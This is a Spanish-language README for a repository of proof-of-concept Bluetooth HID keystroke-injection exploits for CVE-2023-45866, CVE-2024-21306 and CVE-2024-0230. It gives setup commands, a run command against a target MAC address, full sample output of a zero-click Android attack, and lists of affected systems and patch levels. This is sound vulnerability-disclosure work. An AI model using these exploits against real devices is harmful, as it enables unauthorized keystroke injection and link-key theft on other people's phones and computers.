
PoCs de exploits de inyección de pulsaciones de teclado por Bluetooth para CVE-2023-45866, CVE-2024-21306 y CVE-2024-0230 dirigidos a Android, Linux, macOS e iOS mediante teclados HID emulados.
Este repositorio contiene scripts de prueba de concepto para CVE-2023-45866, CVE-2024-21306 y CVE-2024-0230. Puedes encontrar más detalles en la publicación del blog.
| Prueba de concepto | Descripción |
|---|---|
| Inyección de teclado en Android | Fuerza el emparejamiento de un teclado Bluetooth virtual con un dispositivo Android vulnerable e inyecta 10 segundos de pulsaciones de la tecla tab. |
| Inyección de teclado en Linux | Fuerza el emparejamiento de un teclado Bluetooth virtual con un host Linux e inyecta 10 segundos de pulsaciones de la tecla tab. |
| Inyección de teclado en macOS | Fuerza el emparejamiento de un teclado Bluetooth virtual con un host macOS e inyecta pulsaciones de teclas para abrir un navegador web y realizar una búsqueda en Google. |
| Inyección de teclado en iOS | Fuerza el emparejamiento de un teclado Bluetooth virtual con un host iOS e inyecta pulsaciones de teclas para abrir un navegador web y navegar a una URL. |
| Inyección de teclado en Windows | Fuerza el emparejamiento de un teclado Bluetooth virtual con un host Windows e inyecta pulsaciones de la tecla tab. |
| Clave de enlace del Magic Keyboard mediante el puerto Lightning | Lee la clave de enlace Bluetooth desde el puerto Lightning de un Magic Keyboard. |
| Clave de enlace del Magic Keyboard mediante Bluetooth | Lee la clave de enlace Bluetooth desde el servicio HID Bluetooth no autenticado del Magic Keyboard. |
| Clave de enlace del Magic Keyboard mediante el puerto USB del Mac | Lee la clave de enlace Bluetooth de un Magic Keyboard objetivo suplantando el teclado por USB ante su Mac emparejado. |
Se sabe que los scripts funcionan en un host con Ubuntu 22.04 y un adaptador Bluetooth basado en Broadcom.
Utilicé principalmente este adaptador: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0
A partir de una instalación limpia de Ubuntu 22.04, las dependencias pueden instalarse con los siguientes comandos.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
Los dispositivos Android son vulnerables antes del nivel de parche de seguridad del 2023-12-05.
Cuando Bluetooth está habilitado en un dispositivo Android sin parchear, un atacante puede emparejar un teclado Bluetooth emulado e inyectar pulsaciones de teclado, sin confirmación del usuario. Este es un ataque zero-click que funciona siempre que Bluetooth esté habilitado.
Esta vulnerabilidad afecta a Android ~4.2.2 y versiones posteriores.
Ejecute el PoC dirigido al dispositivo Android 5C:F3:70:AA:07:BD utilizando la interfaz hci1.```
./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
Si tiene éxito, la PoC inyectará una carga útil de pulsaciones de tecla `tab` durante 10 segundos.
#### Salida de ejemplo```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329] executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959] configuring Bluetooth adapter
[2024-01-07 11:03:01.963] calling RegisterProfile
[2024-01-07 11:03:01.966] running dbus loop
[2024-01-07 11:03:02.096] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108] executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141] executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144] executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877] connecting to SDP
[2024-01-07 11:03:02.877] connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832] SUCCESS! connected on port 1
[2024-01-07 11:03:03.832] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858] connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864] connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932] SUCCESS! connected on port 17
[2024-01-07 11:03:04.932] connecting to HID Interrupt
[2024-01-07 11:03:04.932] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008] SUCCESS! connected on port 19
[2024-01-07 11:03:05.008] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009] [RX-17] 9000
[2024-01-07 11:03:05.009] [TX-17] 00
[2024-01-07 11:03:05.065] [RX-19] a20101
[2024-01-07 11:03:05.259] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259] injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436] [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261] [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321] taking 'hci1' offline
Los hosts Linux que ejecutan BlueZ 5 son vulnerables antes de que se implementaran los parches, aproximadamente en diciembre de 2023. Los números de versión específicos dependen de la distribución de Linux.
Cuando un host Linux sin parchear es descubrible y conectable a través de Bluetooth, un atacante puede emparejar un teclado Bluetooth emulado e inyectar pulsaciones de teclado, sin confirmación del usuario. Este es un ataque de cero clics que funciona siempre que el host sea descubrible y conectable.
Se entiende que esta vulnerabilidad afecta a las distribuciones de Linux sin parchear que utilizan la configuración predeterminada de BlueZ 5.
Google afirma que ChromeOS no se vio afectado por esta vulnerabilidad y, si bien ChromeOS no se probó como parte de esta investigación, su configuración de BlueZ parece prevenir el ataque.
Las distribuciones afectadas incluyen Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto y Amazon Linux. Pueden verse afectadas múltiples versiones y, por ejemplo, Ubuntu parcheó las versiones 16.04, 18.04, 20.04, 22.04, 23.04 y 23.10.